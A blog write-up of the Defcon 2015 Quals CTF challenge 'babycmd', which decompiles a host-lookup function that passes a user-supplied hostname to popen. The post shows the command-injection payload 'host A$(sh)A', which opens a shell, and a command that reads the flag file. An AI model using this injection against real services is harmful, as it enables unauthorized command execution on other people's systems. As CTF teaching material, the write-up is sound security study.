2015/05/21

Defcon 2015 Quals - babycmd writeup


We are given the folowing information and a binary to download:
babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me:15491 (Download)
$ file babycmd_3ad28b10e8ab283d7df81795075f600b
babycmd_3ad28b10e8ab283d7df81795075f600b: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

$ checksec.sh --file babycmd_3ad28b10e8ab283d7df81795075f600b
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   babycmd_3ad28b10e8ab283d7df81795075f600b

Running the binary, it provides us with 3 functionalities: ping, host, dig

Connection to babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me 15491 port [tcp/*] succeeded!
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host google.com
google.com has address 216.58.217.142
google.com has IPv6 address 2607:f8b0:4004:80d::200e
google.com mail is handled by 30 alt2.aspmx.l.google.com.
google.com mail is handled by 40 alt3.aspmx.l.google.com.
google.com mail is handled by 50 alt4.aspmx.l.google.com.
google.com mail is handled by 10 aspmx.l.google.com.
google.com mail is handled by 20 alt1.aspmx.l.google.com.

Looking more closely in the binary with IDA and inspecting every function we find that the host function (sub_10BD)has an interesting command:

__int64 __fastcall host_function(__int64 a1)
{
  char *v1; // rax@6
  FILE *v2; // rbp@10
  struct in_addr v4; // [sp+0h] [bp-538h]@5
  char command; // [sp+10h] [bp-528h]@6
  char cp; // [sp+190h] [bp-3A8h]@3
  char s; // [sp+310h] [bp-228h]@12
  __int64 v8; // [sp+518h] [bp-20h]@1

  v8 = *MK_FP(__FS__, 40LL);
  if ( a1 )
  {
    if ( (unsigned int)sub_D65(a1, (__int64)&cp) )
    {
      if ( inet_aton(&cp, &v4) )
      {
        v1 = inet_ntoa(v4);
        __sprintf_chk(&command, 1LL, 384LL, "host %s", v1);// run if ip address was given
      }
      else
      {
        if ( !(unsigned int)sub_DCC((__int64)&cp) )
        {
          puts("Invalid hostname.");
          return *MK_FP(__FS__, 40LL) ^ v8;
        }
        __sprintf_chk(&command, 1LL, 384LL, "host \"%s\"", &cp);// run if hostname given
      }
      v2 = popen(&command, "r");
      if ( v2 )
      {
        while ( fgets(&s, 512, v2) )
          __printf_chk(1LL, &s);
        pclose(v2);
      }
      else
      {
        puts("Command failed.");
      }
    }
    else
    {
      puts("Invalid Host or IP address sent to dig.");
    }
  }
  else
  {
    puts("No address specified.");
  }
  return *MK_FP(__FS__, 40LL) ^ v8;
}

We can see the function can perform 2 commands based on the user input. The first command is executed if we supply an ip address and the 2nd if we give a host name. The interesting part about this function is this line:

__sprintf_chk(&command, 1LL, 384LL, "host \"%s\"", &cp);

We can clearly see that when a host name is given the command executed is host \"user input\". With the quotes escaped it means we can inject shell commands in the host command. But for the host command to succeed we need to wrap the shell command between some text so host can run and we can't uses spaces.
So after some tests we came up with this:

$ nc -v babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me 15491
Connection to babycmd_3ad28b10e8ab283d7df81795075f600b.quals.shallweplayaga.me 15491 port [tcp/*] succeeded!

Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: host A$(sh)A
cat /home/babycmd/flag
cat /home/babycmd/flag 1>&2
The flag is: Pretty easy eh!!~ Now let's try something hArd3r, shallwe??

And we get the flag :)

No comments:

Post a Comment